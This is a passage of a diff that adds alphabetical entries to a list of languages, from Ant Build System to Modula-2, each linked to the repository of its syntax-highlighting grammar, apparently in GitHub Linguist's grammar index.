+- **Ant Build System:** [textmate/ant.tmbundle](https://github.com/textmate/ant.tmbundle)
+- **Antlers:** [Stillat/vscode-antlers-language-server](https://github.com/Stillat/vscode-antlers-language-server)
+- **ApacheConf:** [textmate/apache.tmbundle](https://github.com/textmate/apache.tmbundle)
+- **Apex:** [forcedotcom/apex-tmLanguage](https://github.com/forcedotcom/apex-tmLanguage)
+- **Apollo Guidance Computer:** [Alhadis/language-agc](https://github.com/Alhadis/language-agc)
+- **AppleScript:** [textmate/applescript.tmbundle](https://github.com/textmate/applescript.tmbundle)
+- **AsciiDoc:** [zuckschwerdt/asciidoc.tmbundle](https://github.com/zuckschwerdt/asciidoc.tmbundle)
+- **AspectJ:** [pchaigno/sublime-aspectj](https://github.com/pchaigno/sublime-aspectj)
+- **Assembly:** [Nessphoro/sublimeassembly](https://github.com/Nessphoro/sublimeassembly)
+- **Astro:** [withastro/language-tools](https://github.com/withastro/language-tools)
+- **Asymptote:** [textmate/c.tmbundle](https://github.com/textmate/c.tmbundle)
+- **AutoHotkey:** [ahkscript/SublimeAutoHotkey](https://github.com/ahkscript/SublimeAutoHotkey)
+- **AutoIt:** [AutoIt/SublimeAutoItScript](https://github.com/AutoIt/SublimeAutoItScript)
+- **Avro IDL:** [Jason3S/avro.tmLanguage](https://github.com/Jason3S/avro.tmLanguage)
+- **Awk:** [github-linguist/awk-sublime](https://github.com/github-linguist/awk-sublime)
+- **B4X:** [serkonda7/vscode-vba](https://github.com/serkonda7/vscode-vba)
+- **BASIC:** [telnet23/language-basic](https://github.com/telnet23/language-basic)
+- **BQN:** [razetime/bqn-vscode](https://github.com/razetime/bqn-vscode)
+- **Ballerina:** [ballerina-platform/ballerina-grammar](https://github.com/ballerina-platform/ballerina-grammar)
+- **Batchfile:** [mmims/language-batchfile](https://github.com/mmims/language-batchfile)
+- **Beef:** [dotnet/csharp-tmLanguage](https://github.com/dotnet/csharp-tmLanguage)
+- **Befunge:** [johanasplund/sublime-befunge](https://github.com/johanasplund/sublime-befunge)
+- **Berry:** [berry-lang/berry-grammar](https://github.com/berry-lang/berry-grammar)
+- **BibTeX:** [textmate/latex.tmbundle](https://github.com/textmate/latex.tmbundle)
+- **Bicep:** [azure/bicep](https://github.com/azure/bicep)
+- **Bikeshed:** [tabatkins/bikeshed](https://github.com/tabatkins/bikeshed)
+- **Bison:** [Alhadis/language-grammars](https://github.com/Alhadis/language-grammars)
+- **BitBake:** [yoctoproject/vscode-bitbake](https://github.com/yoctoproject/vscode-bitbake)
+- **Blade:** [jawee/language-blade](https://github.com/jawee/language-blade)
+- **BlitzBasic:** [textmate/blitzmax.tmbundle](https://github.com/textmate/blitzmax.tmbundle)
+- **BlitzMax:** [textmate/blitzmax.tmbundle](https://github.com/textmate/blitzmax.tmbundle)
+- **Bluespec:** [thotypous/sublime-bsv](https://github.com/thotypous/sublime-bsv)
+- **Bluespec BH:** [B-Lang-org/language-bh](https://github.com/B-Lang-org/language-bh)
+- **Boo:** [drslump/sublime-boo](https://github.com/drslump/sublime-boo)
+- **Boogie:** [boogie-org/boogie-vscode](https://github.com/boogie-org/boogie-vscode)
+- **Brainfuck:** [Drako/SublimeBrainfuck](https://github.com/Drako/SublimeBrainfuck)
+- **BrighterScript:** [rokucommunity/vscode-brightscript-language](https://github.com/rokucommunity/vscode-brightscript-language)
+- **Brightscript:** [rokucommunity/vscode-brightscript-language](https://github.com/rokucommunity/vscode-brightscript-language)
+- **Browserslist:** [browserslist/browserslist-vscode](https://github.com/browserslist/browserslist-vscode)
+- **C:** [tree-sitter/tree-sitter-c](https://github.com/tree-sitter/tree-sitter-c) 🐌
+- **C#:** [tree-sitter/tree-sitter-c-sharp](https://github.com/tree-sitter/tree-sitter-c-sharp) 🐌
+- **C++:** [textmate/c.tmbundle](https://github.com/textmate/c.tmbundle)
+- **C-ObjDump:** [nanoant/assembly.tmbundle](https://github.com/nanoant/assembly.tmbundle)
+- **C2hs Haskell:** [atom-haskell/language-haskell](https://github.com/atom-haskell/language-haskell)
+- **CAP CDS:** [SAP/cds-textmate-grammar](https://github.com/SAP/cds-textmate-grammar)
+- **CIL:** [google/selinux-policy-languages](https://github.com/google/selinux-policy-languages)
+- **CLIPS:** [psicomante/CLIPS-sublime](https://github.com/psicomante/CLIPS-sublime)
+- **CMake:** [textmate/cmake.tmbundle](https://github.com/textmate/cmake.tmbundle)
+- **COBOL:** [spgennard/vscode_cobol](https://github.com/spgennard/vscode_cobol)
+- **CODEOWNERS:** [Alhadis/language-etc](https://github.com/Alhadis/language-etc)
+- **COLLADA:** [textmate/xml.tmbundle](https://github.com/textmate/xml.tmbundle)
+- **CSON:** [atom/language-coffee-script](https://github.com/atom/language-coffee-script)
+- **CSS:** [tree-sitter/tree-sitter-css](https://github.com/tree-sitter/tree-sitter-css) 🐌
+- **CUE:** [cue-sh/vscode-cue](https://github.com/cue-sh/vscode-cue)
+- **Cabal Config:** [atom-haskell/language-haskell](https://github.com/atom-haskell/language-haskell)
+- **Caddyfile:** [caddyserver/vscode-caddyfile](https://github.com/caddyserver/vscode-caddyfile)
+- **Cadence:** [onflow/vscode-cadence](https://github.com/onflow/vscode-cadence)
+- **Cairo:** [software-mansion-labs/cairo-tm-grammar](https://github.com/software-mansion-labs/cairo-tm-grammar)
+- **Cairo Zero:** [software-mansion-labs/cairo-tm-grammar](https://github.com/software-mansion-labs/cairo-tm-grammar)
+- **CameLIGO:** [pewulfman/Ligo-grammar](https://github.com/pewulfman/Ligo-grammar)
+- **Cap'n Proto:** [textmate/capnproto.tmbundle](https://github.com/textmate/capnproto.tmbundle)
+- **Carbon:** [0x9ef/vscode-vlang](https://github.com/0x9ef/vscode-vlang)
+- **CartoCSS:** [yohanboniface/carto-atom](https://github.com/yohanboniface/carto-atom)
+- **Ceylon:** [jeancharles-roger/ceylon-sublimetext](https://github.com/jeancharles-roger/ceylon-sublimetext)
+- **Chapel:** [chapel-lang/chapel-tmbundle](https://github.com/chapel-lang/chapel-tmbundle)
+- **Checksums:** [Alhadis/language-etc](https://github.com/Alhadis/language-etc)
+- **ChucK:** [textmate/java.tmbundle](https://github.com/textmate/java.tmbundle)
+- **Circom:** [iden3/circom-highlighting-vscode](https://github.com/iden3/circom-highlighting-vscode)
+- **Cirru:** [Cirru/sublime-cirru](https://github.com/Cirru/sublime-cirru)
+- **Clarion:** [fushnisoft/SublimeClarion](https://github.com/fushnisoft/SublimeClarion)
+- **Clarity:** [hirosystems/clarity.tmbundle](https://github.com/hirosystems/clarity.tmbundle)
+- **Classic ASP:** [textmate/asp.tmbundle](https://github.com/textmate/asp.tmbundle)
+- **Clean:** [timjs/atom-language-clean](https://github.com/timjs/atom-language-clean)
+- **Click:** [stenverbois/language-click](https://github.com/stenverbois/language-click)
+- **Clojure:** [atom/language-clojure](https://github.com/atom/language-clojure)
+- **Closure Templates:** [mthadley/language-closure-templates](https://github.com/mthadley/language-closure-templates)
+- **Cloud Firestore Security Rules:** [jaysquared/atom-firestore-grammar](https://github.com/jaysquared/atom-firestore-grammar)
+- **CoNLL-U:** [odanoburu/conllu-linguist-grammar](https://github.com/odanoburu/conllu-linguist-grammar)
+- **CodeQL:** [tree-sitter/tree-sitter-ql](https://github.com/tree-sitter/tree-sitter-ql) 🐌
+- **CoffeeScript:** [atom/language-coffee-script](https://github.com/atom/language-coffee-script)
+- **ColdFusion:** [SublimeText/ColdFusion](https://github.com/SublimeText/ColdFusion)
+- **ColdFusion CFC:** [SublimeText/ColdFusion](https://github.com/SublimeText/ColdFusion)
+- **Common Lisp:** [qingpeng9802/common-lisp-tmlanguage](https://github.com/qingpeng9802/common-lisp-tmlanguage)
+- **Common Workflow Language:** [manabuishii/language-cwl](https://github.com/manabuishii/language-cwl)
+- **Component Pascal:** [textmate/pascal.tmbundle](https://github.com/textmate/pascal.tmbundle)
+- **Cool:** [anunayk/cool-tmbundle](https://github.com/anunayk/cool-tmbundle)
+- **Coq:** [mkolosick/Sublime-Coq](https://github.com/mkolosick/Sublime-Coq)
+- **Cpp-ObjDump:** [nanoant/assembly.tmbundle](https://github.com/nanoant/assembly.tmbundle)
+- **Creole:** [Siddley/Creole](https://github.com/Siddley/Creole)
+- **Crystal:** [atom-crystal/language-crystal](https://github.com/atom-crystal/language-crystal)
+- **Csound:** [nwhetsell/language-csound](https://github.com/nwhetsell/language-csound)
+- **Csound Document:** [nwhetsell/language-csound](https://github.com/nwhetsell/language-csound)
+- **Csound Score:** [nwhetsell/language-csound](https://github.com/nwhetsell/language-csound)
+- **Cuda:** [harrism/sublimetext-cuda-cpp](https://github.com/harrism/sublimetext-cuda-cpp)
+- **Cue Sheet:** [relikd/CUE-Sheet_sublime](https://github.com/relikd/CUE-Sheet_sublime)
+- **Curry:** [fwcd/vscode-curry](https://github.com/fwcd/vscode-curry)
+- **Cycript:** [atom/language-javascript](https://github.com/atom/language-javascript)
+- **Cylc:** [cylc/Cylc.tmbundle](https://github.com/cylc/Cylc.tmbundle)
+- **Cypher:** [fredbenenson/sublime-cypher](https://github.com/fredbenenson/sublime-cypher)
+- **Cython:** [textmate/cython.tmbundle](https://github.com/textmate/cython.tmbundle)
+- **D:** [textmate/d.tmbundle](https://github.com/textmate/d.tmbundle)
+- **D-ObjDump:** [nanoant/assembly.tmbundle](https://github.com/nanoant/assembly.tmbundle)
+- **D2:** [terrastruct/d2-vscode](https://github.com/terrastruct/d2-vscode)
+- **DM:** [spacestation13/dm-syntax](https://github.com/spacestation13/dm-syntax)
+- **DNS Zone:** [sixty4k/st2-zonefile](https://github.com/sixty4k/st2-zonefile)
+- **DTrace:** [textmate/c.tmbundle](https://github.com/textmate/c.tmbundle)
+- **Dafny:** [DafnyVSCode/Dafny-VSCode](https://github.com/DafnyVSCode/Dafny-VSCode)
+- **Dart:** [dart-lang/dart-syntax-highlight](https://github.com/dart-lang/dart-syntax-highlight)
+- **DataWeave:** [mulesoft-labs/data-weave-tmLanguage](https://github.com/mulesoft-labs/data-weave-tmLanguage)
+- **Debian Package Control File:** [tsbarnes/language-debian](https://github.com/tsbarnes/language-debian)
+- **DenizenScript:** [DenizenScript/denizenscript-grammar](https://github.com/DenizenScript/denizenscript-grammar)
+- **Dhall:** [atom-haskell/language-haskell](https://github.com/atom-haskell/language-haskell)
+- **Diff:** [textmate/diff.tmbundle](https://github.com/textmate/diff.tmbundle)
+- **Dockerfile:** [asbjornenge/Docker.tmbundle](https://github.com/asbjornenge/Docker.tmbundle)
+- **Dotenv:** [Alhadis/language-etc](https://github.com/Alhadis/language-etc)
+- **Dune:** [maelvls/vscode-dune](https://github.com/maelvls/vscode-dune)
+- **Dylan:** [textmate/dylan.tmbundle](https://github.com/textmate/dylan.tmbundle)
+- **E-mail:** [mariozaizar/language-eml](https://github.com/mariozaizar/language-eml)
+- **EBNF:** [Alhadis/language-grammars](https://github.com/Alhadis/language-grammars)
+- **ECL:** [hpcc-systems/ecl-tmLanguage](https://github.com/hpcc-systems/ecl-tmLanguage)
+- **ECLiPSe:** [alnkpa/sublimeprolog](https://github.com/alnkpa/sublimeprolog)
+- **EJS:** [tree-sitter/tree-sitter-embedded-template](https://github.com/tree-sitter/tree-sitter-embedded-template) 🐌
+- **EQ:** [dotnet/csharp-tmLanguage](https://github.com/dotnet/csharp-tmLanguage)
+- **Eagle:** [textmate/xml.tmbundle](https://github.com/textmate/xml.tmbundle)
+- **Earthly:** [earthly/earthfile-grammar](https://github.com/earthly/earthfile-grammar)
+- **Easybuild:** [MagicStack/MagicPython](https://github.com/MagicStack/MagicPython)
+- **Ecere Projects:** [Nixinova/NovaGrammars](https://github.com/Nixinova/NovaGrammars)
+- **Ecmarkup:** [Alhadis/language-etc](https://github.com/Alhadis/language-etc)
+- **Edge:** [edge-js/edge-vscode](https://github.com/edge-js/edge-vscode)
+- **EdgeQL:** [edgedb/edgedb-editor-plugin](https://github.com/edgedb/edgedb-editor-plugin)
+- **EditorConfig:** [sindresorhus/atom-editorconfig](https://github.com/sindresorhus/atom-editorconfig)
+- **Edje Data Collection:** [textmate/c.tmbundle](https://github.com/textmate/c.tmbundle)
+- **Eiffel:** [textmate/eiffel.tmbundle](https://github.com/textmate/eiffel.tmbundle)
+- **Elixir:** [elixir-lang/tree-sitter-elixir](https://github.com/elixir-lang/tree-sitter-elixir) 🐌
+- **Elvish:** [elves/elvish](https://github.com/elves/elvish)
+- **Elvish Transcript:** [elves/elvish](https://github.com/elves/elvish)
+- **Emacs Lisp:** [Alhadis/language-emacs-lisp](https://github.com/Alhadis/language-emacs-lisp)
+- **EmberScript:** [atom/language-coffee-script](https://github.com/atom/language-coffee-script)
+- **Erlang:** [textmate/erlang.tmbundle](https://github.com/textmate/erlang.tmbundle)
+- **Euphoria:** [OpenEuphoria/vscode-euphoria](https://github.com/OpenEuphoria/vscode-euphoria)
+- **F#:** [ionide/ionide-fsgrammar](https://github.com/ionide/ionide-fsgrammar)
+- **F\*:** [FStarLang/atom-fstar](https://github.com/FStarLang/atom-fstar)
+- **FIGlet Font:** [Alhadis/language-fontforge](https://github.com/Alhadis/language-fontforge)
+- **FIRRTL:** [chipsalliance/firrtl-syntax](https://github.com/chipsalliance/firrtl-syntax)
+- **Factor:** [slavapestov/factor](https://github.com/slavapestov/factor)
+- **Fancy:** [fancy-lang/fancy-tmbundle](https://github.com/fancy-lang/fancy-tmbundle)
+- **Fantom:** [rkoeninger/sublime-fantom](https://github.com/rkoeninger/sublime-fantom)
+- **Faust:** [jpcima/language-faust](https://github.com/jpcima/language-faust)
+- **Fennel:** [kongeor/vsc-fennel](https://github.com/kongeor/vsc-fennel)
+- **Fluent:** [macabeus/vscode-fluent](https://github.com/macabeus/vscode-fluent)
+- **Forth:** [textmate/forth.tmbundle](https://github.com/textmate/forth.tmbundle)
+- **Fortran:** [textmate/fortran.tmbundle](https://github.com/textmate/fortran.tmbundle)
+- **Fortran Free Form:** [textmate/fortran.tmbundle](https://github.com/textmate/fortran.tmbundle)
+- **FreeBasic:** [peters-ben-0007/VBDotNetSyntax](https://github.com/peters-ben-0007/VBDotNetSyntax)
+- **FreeMarker:** [freemarker/FreeMarker.tmbundle](https://github.com/freemarker/FreeMarker.tmbundle)
+- **Frege:** [atom-haskell/language-haskell](https://github.com/atom-haskell/language-haskell)
+- **Futhark:** [Alhadis/language-etc](https://github.com/Alhadis/language-etc)
+- **G-code:** [appliedengdesign/vscode-gcode-syntax](https://github.com/appliedengdesign/vscode-gcode-syntax)
+- **GAP:** [dhowden/gap-tmbundle](https://github.com/dhowden/gap-tmbundle)
+- **GCC Machine Description:** [textmate/lisp.tmbundle](https://github.com/textmate/lisp.tmbundle)
+- **GDB:** [quarnster/SublimeGDB](https://github.com/quarnster/SublimeGDB)
+- **GDScript:** [godotengine/godot-vscode-plugin](https://github.com/godotengine/godot-vscode-plugin)
+- **GEDCOM:** [fguitton/vscode-gedcom](https://github.com/fguitton/vscode-gedcom)
+- **GLSL:** [euler0/sublime-glsl](https://github.com/euler0/sublime-glsl)
+- **GN:** [devoncarew/language-gn](https://github.com/devoncarew/language-gn)
+- **GSC:** [Jake-NotTheMuss/CoDT7-Sublime](https://github.com/Jake-NotTheMuss/CoDT7-Sublime)
+- **Game Maker Language:** [textmate/c.tmbundle](https://github.com/textmate/c.tmbundle)
+- **Gemfile.lock:** [hmarr/gemfile-lock-tmlanguage](https://github.com/hmarr/gemfile-lock-tmlanguage)
+- **Gemini:** [printfn/gemini-vscode](https://github.com/printfn/gemini-vscode)
+- **Genero 4gl:** [FourjsGenero/GeneroFgl.tmbundle](https://github.com/FourjsGenero/GeneroFgl.tmbundle)
+- **Genero per:** [FourjsGenero/GeneroFgl.tmbundle](https://github.com/FourjsGenero/GeneroFgl.tmbundle)
+- **Genshi:** [genshi.edgewall.org/query](https://genshi.edgewall.org/query)
+- **Gentoo Ebuild:** [atom/language-shellscript](https://github.com/atom/language-shellscript)
+- **Gentoo Eclass:** [atom/language-shellscript](https://github.com/atom/language-shellscript)
+- **Gerber Image:** [Alhadis/language-pcb](https://github.com/Alhadis/language-pcb)
+- **Gettext Catalog:** [textmate/gettext.tmbundle](https://github.com/textmate/gettext.tmbundle)
+- **Gherkin:** [cucumber/cucumber-tmbundle](https://github.com/cucumber/cucumber-tmbundle)
+- **Git Attributes:** [Alhadis/language-etc](https://github.com/Alhadis/language-etc)
+- **Git Config:** [Alhadis/language-etc](https://github.com/Alhadis/language-etc)
+- **Git Revision List:** [Nixinova/NovaGrammars](https://github.com/Nixinova/NovaGrammars)
+- **Gleam:** [gleam-lang/tree-sitter-gleam](https://github.com/gleam-lang/tree-sitter-gleam) 🐌
+- **Glimmer JS:** [lifeart/vsc-ember-syntax](https://github.com/lifeart/vsc-ember-syntax)
+- **Glimmer TS:** [lifeart/vsc-ember-syntax](https://github.com/lifeart/vsc-ember-syntax)
+- **Glyph:** [textmate/tcl.tmbundle](https://github.com/textmate/tcl.tmbundle)
+- **Glyph Bitmap Distribution Format:** [Alhadis/language-fontforge](https://github.com/Alhadis/language-fontforge)
+- **Gnuplot:** [mattfoster/gnuplot-tmbundle](https://github.com/mattfoster/gnuplot-tmbundle)
+- **Go:** [tree-sitter/tree-sitter-go](https://github.com/tree-sitter/tree-sitter-go) 🐌
+- **Go Checksums:** [golang/vscode-go](https://github.com/golang/vscode-go)
+- **Go Module:** [golang/vscode-go](https://github.com/golang/vscode-go)
+- **Go Workspace:** [golang/vscode-go](https://github.com/golang/vscode-go)
+- **Godot Resource:** [godotengine/godot-vscode-plugin](https://github.com/godotengine/godot-vscode-plugin)
+- **Golo:** [TypeUnsafe/sublime-golo](https://github.com/TypeUnsafe/sublime-golo)
+- **Gosu:** [jpcamara/Textmate-Gosu-Bundle](https://github.com/jpcamara/Textmate-Gosu-Bundle)
+- **Grace:** [zmthy/grace-tmbundle](https://github.com/zmthy/grace-tmbundle)
+- **Gradle:** [alkemist/gradle.tmbundle](https://github.com/alkemist/gradle.tmbundle)
+- **Gradle Kotlin DSL:** [nishtahir/language-kotlin](https://github.com/nishtahir/language-kotlin)
+- **Grammatical Framework:** [johnjcamilleri/language-gf](https://github.com/johnjcamilleri/language-gf)
+- **GraphQL:** [graphql/graphiql](https://github.com/graphql/graphiql)
+- **Graphviz (DOT):** [textmate/graphviz.tmbundle](https://github.com/textmate/graphviz.tmbundle)
+- **Groovy:** [textmate/groovy.tmbundle](https://github.com/textmate/groovy.tmbundle)
+- **Groovy Server Pages:** [textmate/java.tmbundle](https://github.com/textmate/java.tmbundle)
+- **HAProxy:** [abulimov/atom-language-haproxy](https://github.com/abulimov/atom-language-haproxy)
+- **HCL:** [hashicorp/syntax](https://github.com/hashicorp/syntax)
+- **HLSL:** [tgjones/shaders-tmLanguage](https://github.com/tgjones/shaders-tmLanguage)
+- **HOCON:** [jacobwgillespie/language-hocon](https://github.com/jacobwgillespie/language-hocon)
+- **HTML:** [tree-sitter/tree-sitter-html](https://github.com/tree-sitter/tree-sitter-html) 🐌
+- **HTML+ECR:** [atom-crystal/language-crystal](https://github.com/atom-crystal/language-crystal)
+- **HTML+EEX:** [elixir-lang/elixir-tmbundle](https://github.com/elixir-lang/elixir-tmbundle)
+- **HTML+ERB:** [atom/language-ruby](https://github.com/atom/language-ruby)
+- **HTML+PHP:** [ondrejmirtes/php.tmbundle](https://github.com/ondrejmirtes/php.tmbundle)
+- **HTML+Razor:** [github-linguist/razor-plus](https://github.com/github-linguist/razor-plus)
+- **HTTP:** [samsalisbury/Sublime-HTTP](https://github.com/samsalisbury/Sublime-HTTP)
+- **HXML:** [vshaxe/haxe-TmLanguage](https://github.com/vshaxe/haxe-TmLanguage)
+- **Hack:** [slackhq/vscode-hack](https://github.com/slackhq/vscode-hack)
+- **Haml:** [ezekg/language-haml](https://github.com/ezekg/language-haml)
+- **Handlebars:** [daaain/Handlebars](https://github.com/daaain/Handlebars)
+- **Harbour:** [hernad/atom-language-harbour](https://github.com/hernad/atom-language-harbour)
+- **Haskell:** [atom-haskell/language-haskell](https://github.com/atom-haskell/language-haskell)
+- **Haxe:** [vshaxe/haxe-TmLanguage](https://github.com/vshaxe/haxe-TmLanguage)
+- **HiveQL:** [adidonato/language-hql](https://github.com/adidonato/language-hql)
+- **HolyC:** [codingdandy/holyc.tmbundle](https://github.com/codingdandy/holyc.tmbundle)
+- **Hosts File:** [Alhadis/language-etc](https://github.com/Alhadis/language-etc)
+- **Hy:** [tshakalekholoane/vscode-hy](https://github.com/tshakalekholoane/vscode-hy)
+- **IDL:** [mgalloy/idl.tmbundle](https://github.com/mgalloy/idl.tmbundle)
+- **IGOR Pro:** [byte-physics/language-igor](https://github.com/byte-physics/language-igor)
+- **INI:** [textmate/ini.tmbundle](https://github.com/textmate/ini.tmbundle)
+- **Idris:** [idris-hackers/idris-sublime](https://github.com/idris-hackers/idris-sublime)
+- **Ignore List:** [Alhadis/language-etc](https://github.com/Alhadis/language-etc)
+- **Imba:** [imba/imba-linguist-grammar](https://github.com/imba/imba-linguist-grammar)
+- **Inform 7:** [iftechfoundation/language-inform7](https://github.com/iftechfoundation/language-inform7)
+- **Ink:** [inkle/ink-tmlanguage](https://github.com/inkle/ink-tmlanguage)
+- **Inno Setup:** [idleberg/atom-language-innosetup](https://github.com/idleberg/atom-language-innosetup)
+- **Io:** [textmate/io.tmbundle](https://github.com/textmate/io.tmbundle)
+- **Ioke:** [vic/ioke-outdated](https://github.com/vic/ioke-outdated)
+- **Isabelle:** [lsf37/Isabelle.tmbundle](https://github.com/lsf37/Isabelle.tmbundle)
+- **Isabelle ROOT:** [lsf37/Isabelle.tmbundle](https://github.com/lsf37/Isabelle.tmbundle)
+- **J:** [tikkanz/JSyntax](https://github.com/tikkanz/JSyntax)
+- **JAR Manifest:** [atom/language-yaml](https://github.com/atom/language-yaml)
+- **JCL:** [spgennard/vscode_cobol](https://github.com/spgennard/vscode_cobol)
+- **JFlex:** [jflex-de/jflex.tmbundle](https://github.com/jflex-de/jflex.tmbundle)
+- **JSON:** [Nixinova/NovaGrammars](https://github.com/Nixinova/NovaGrammars)
+- **JSON with Comments:** [atom/language-javascript](https://github.com/atom/language-javascript)
+- **JSON5:** [atom/language-javascript](https://github.com/atom/language-javascript)
+- **JSONLD:** [atom/language-javascript](https://github.com/atom/language-javascript)
+- **JSONiq:** [wcandillon/language-jsoniq](https://github.com/wcandillon/language-jsoniq)
+- **Janet:** [janet-lang/vscode-janet](https://github.com/janet-lang/vscode-janet)
+- **Jasmin:** [atmarksharp/jasmin-sublime](https://github.com/atmarksharp/jasmin-sublime)
+- **Java:** [tree-sitter/tree-sitter-java](https://github.com/tree-sitter/tree-sitter-java) 🐌
+- **Java Properties:** [textmate/java.tmbundle](https://github.com/textmate/java.tmbundle)
+- **Java Server Pages:** [textmate/java.tmbundle](https://github.com/textmate/java.tmbundle)
+- **Java Template Engine:** [maj2c/jte-template-syntax-highlight](https://github.com/maj2c/jte-template-syntax-highlight)
+- **JavaScript:** [tree-sitter/tree-sitter-javascript](https://github.com/tree-sitter/tree-sitter-javascript) 🐌
+- **JavaScript+ERB:** [atom/language-javascript](https://github.com/atom/language-javascript)
+- **Jest Snapshot:** [jest-community/vscode-jest](https://github.com/jest-community/vscode-jest)
+- **Jinja:** [textmate/python-django.tmbundle](https://github.com/textmate/python-django.tmbundle)
+- **Jison:** [cdibbs/language-jison](https://github.com/cdibbs/language-jison)
+- **Jison Lex:** [cdibbs/language-jison](https://github.com/cdibbs/language-jison)
+- **Jolie:** [fmontesi/language-jolie](https://github.com/fmontesi/language-jolie)
+- **Jsonnet:** [google/language-jsonnet](https://github.com/google/language-jsonnet)
+- **Julia:** [JuliaEditorSupport/atom-language-julia](https://github.com/JuliaEditorSupport/atom-language-julia)
+- **Julia REPL:** [JuliaEditorSupport/atom-language-julia](https://github.com/JuliaEditorSupport/atom-language-julia)
+- **Jupyter Notebook:** [Nixinova/NovaGrammars](https://github.com/Nixinova/NovaGrammars)
+- **Just:** [nefrob/vscode-just](https://github.com/nefrob/vscode-just)
+- **Kaitai Struct:** [atom/language-yaml](https://github.com/atom/language-yaml)
+- **KakouneScript:** [kakoune-editor/language-kak](https://github.com/kakoune-editor/language-kak)
+- **KerboScript:** [KSP-KOS/language-kerboscript](https://github.com/KSP-KOS/language-kerboscript)
+- **KiCad Layout:** [Alhadis/language-pcb](https://github.com/Alhadis/language-pcb)
+- **KiCad Legacy Layout:** [Alhadis/language-pcb](https://github.com/Alhadis/language-pcb)
+- **KiCad Schematic:** [Alhadis/language-pcb](https://github.com/Alhadis/language-pcb)
+- **Kickstart:** [wgwoods/language-kickstart](https://github.com/wgwoods/language-kickstart)
+- **Kit:** [atom/language-html](https://github.com/atom/language-html)
+- **Kotlin:** [nishtahir/language-kotlin](https://github.com/nishtahir/language-kotlin)
+- **Kusto:** [mmanela/kusto-sublime](https://github.com/mmanela/kusto-sublime)
+- **LFE:** [textmate/lisp.tmbundle](https://github.com/textmate/lisp.tmbundle)
+- **LLVM:** [whitequark/llvm.tmbundle](https://github.com/whitequark/llvm.tmbundle)
+- **LOLCODE:** [KrazIvan/LOLCODE-grammar-vscode](https://github.com/KrazIvan/LOLCODE-grammar-vscode)
+- **LSL:** [textmate/secondlife-lsl.tmbundle](https://github.com/textmate/secondlife-lsl.tmbundle)
+- **LTspice Symbol:** [Alhadis/language-pcb](https://github.com/Alhadis/language-pcb)
+- **LabVIEW:** [textmate/xml.tmbundle](https://github.com/textmate/xml.tmbundle)
+- **Lark:** [Alhadis/language-grammars](https://github.com/Alhadis/language-grammars)
+- **Lasso:** [bfad/Sublime-Lasso](https://github.com/bfad/Sublime-Lasso)
+- **Latte:** [textmate/php-smarty.tmbundle](https://github.com/textmate/php-smarty.tmbundle)
+- **Lean:** [leanprover/vscode-lean](https://github.com/leanprover/vscode-lean)
+- **Lean 4:** [leanprover/vscode-lean4](https://github.com/leanprover/vscode-lean4)
+- **Less:** [atom/language-less](https://github.com/atom/language-less)
+- **Lex:** [Alhadis/language-grammars](https://github.com/Alhadis/language-grammars)
+- **LigoLANG:** [pewulfman/Ligo-grammar](https://github.com/pewulfman/Ligo-grammar)
+- **LilyPond:** [nwhetsell/linter-lilypond](https://github.com/nwhetsell/linter-lilypond)
+- **Liquid:** [Shopify/liquid-tm-grammar](https://github.com/Shopify/liquid-tm-grammar)
+- **Literate CoffeeScript:** [atom/language-coffee-script](https://github.com/atom/language-coffee-script)
+- **Literate Haskell:** [atom-haskell/language-haskell](https://github.com/atom-haskell/language-haskell)
+- **LiveCode Script:** [Ferruslogic/vscode-livecodescript](https://github.com/Ferruslogic/vscode-livecodescript)
+- **LiveScript:** [paulmillr/LiveScript.tmbundle](https://github.com/paulmillr/LiveScript.tmbundle)
+- **Logos:** [Cykey/Sublime-Logos](https://github.com/Cykey/Sublime-Logos)
+- **Logtalk:** [textmate/logtalk.tmbundle](https://github.com/textmate/logtalk.tmbundle)
+- **LookML:** [atom/language-yaml](https://github.com/atom/language-yaml)
+- **LoomScript:** [ambethia/Sublime-Loom](https://github.com/ambethia/Sublime-Loom)
+- **Lua:** [LuaLS/lua.tmbundle](https://github.com/LuaLS/lua.tmbundle)
+- **Luau:** [JohnnyMorganz/Luau.tmLanguage](https://github.com/JohnnyMorganz/Luau.tmLanguage)
+- **M4:** [Alhadis/language-etc](https://github.com/Alhadis/language-etc)
+- **M4Sugar:** [Alhadis/language-etc](https://github.com/Alhadis/language-etc)
+- **MATLAB:** [mathworks/MATLAB-Language-grammar](https://github.com/mathworks/MATLAB-Language-grammar)
+- **MAXScript:** [Alhadis/language-maxscript](https://github.com/Alhadis/language-maxscript)
+- **MDX:** [wooorm/markdown-tm-language](https://github.com/wooorm/markdown-tm-language)
+- **MLIR:** [jpienaar/mlir-grammar](https://github.com/jpienaar/mlir-grammar)
+- **MQL4:** [mqsoft/MQL5-sublime](https://github.com/mqsoft/MQL5-sublime)
+- **MQL5:** [mqsoft/MQL5-sublime](https://github.com/mqsoft/MQL5-sublime)
+- **MTML:** [atom/language-html](https://github.com/atom/language-html)
+- **Macaulay2:** [Macaulay2/language-macaulay2](https://github.com/Macaulay2/language-macaulay2)
+- **Makefile:** [textmate/make.tmbundle](https://github.com/textmate/make.tmbundle)
+- **Mako:** [marconi/mako-tmbundle](https://github.com/marconi/mako-tmbundle)
+- **Markdown:** [wooorm/markdown-tm-language](https://github.com/wooorm/markdown-tm-language)
+- **Marko:** [marko-js/marko-tmbundle](https://github.com/marko-js/marko-tmbundle)
+- **Mask:** [tenbits/sublime-mask](https://github.com/tenbits/sublime-mask)
+- **Mathematica:** [shadanan/mathematica-tmbundle](https://github.com/shadanan/mathematica-tmbundle)
+- **Maven POM:** [textmate/maven.tmbundle](https://github.com/textmate/maven.tmbundle)
+- **Max:** [Nixinova/NovaGrammars](https://github.com/Nixinova/NovaGrammars)
+- **Mercury:** [sebgod/mercury-tmlanguage](https://github.com/sebgod/mercury-tmlanguage)
+- **Mermaid:** [Alhadis/language-mermaid](https://github.com/Alhadis/language-mermaid)
+- **Meson:** [TingPing/language-meson](https://github.com/TingPing/language-meson)
+- **Metal:** [textmate/c.tmbundle](https://github.com/textmate/c.tmbundle)
+- **Microsoft Visual Studio Solution:** [Nixinova/NovaGrammars](https://github.com/Nixinova/NovaGrammars)
+- **MiniYAML:** [OpenRA/atom-miniyaml](https://github.com/OpenRA/atom-miniyaml)
+- **Mint:** [mint-lang/mint-vscode](https://github.com/mint-lang/mint-vscode)
+- **Mirah:** [atom/language-ruby](https://github.com/atom/language-ruby)
+- **Modelica:** [BorisChumichev/modelicaSublimeTextPackage](https://github.com/BorisChumichev/modelicaSublimeTextPackage)
+- **Modula-2:** [harogaston/Sublime-Modula-2](https://github.com/harogaston/Sublime-Modula-2)
